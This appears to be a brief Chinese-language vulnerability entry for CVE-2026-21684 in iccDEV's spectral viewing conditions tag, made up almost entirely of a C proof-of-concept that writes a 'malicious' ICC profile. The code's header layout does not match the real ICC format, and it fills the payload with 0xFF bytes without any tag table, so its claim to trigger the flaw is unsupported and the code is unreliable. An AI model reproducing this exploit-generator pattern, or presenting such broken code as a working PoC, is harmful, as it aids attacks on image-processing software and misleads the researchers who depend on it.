CVE-2026-21684: iccDEV CIccTagSpectralViewingConditions未定义行为漏洞

// CVE-2026-21684 PoC - 恶意ICC配置文件构造示例 // 此PoC展示如何构造可能触发CIccTagSpectralViewingConditions()未定义行为的ICC文件 #include <stdio.h> #include <stdlib.h> #include <string.h> // ICC文件头结构 typedef struct { char signature[4]; // 'acsp' signature unsigned int reserved; unsigned short major_ver; unsigned short minor_ver; unsigned int profile_class; unsigned int color_space; unsigned int pcs; unsigned int creation_date[6]; unsigned int file_size; unsigned int tag_count; } ICC_Header; // 构造恶意ICC配置文件 void create_malicious_icc(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) return; // 构造ICC头部 ICC_Header header = {0}; memcpy(header.signature, "acsp", 4); header.major_ver = 4; header.minor_ver = 2; header.profile_class = 0x73636e72; // 'scnr' header.color_space = 0x58595A20; // 'XYZ ' header.pcs = 0x58595A20; // 'XYZ ' header.file_size = sizeof(ICC_Header) + 128; header.tag_count = 1; fwrite(&header, sizeof(ICC_Header), 1, fp); // 构造可能触发未定义行为的spectral viewing conditions数据 unsigned char malicious_data[128] = {0}; // 填充特定数据以触发CIccTagSpectralViewingConditions()中的未定义行为 memset(malicious_data, 0xFF, sizeof(malicious_data)); fwrite(malicious_data, sizeof(malicious_data), 1, fp); fclose(fp); } int main() { create_malicious_icc("CVE-2026-21684_malicious.icc"); printf("Malicious ICC profile created: CVE-2026-21684_malicious.icc\n"); return 0; }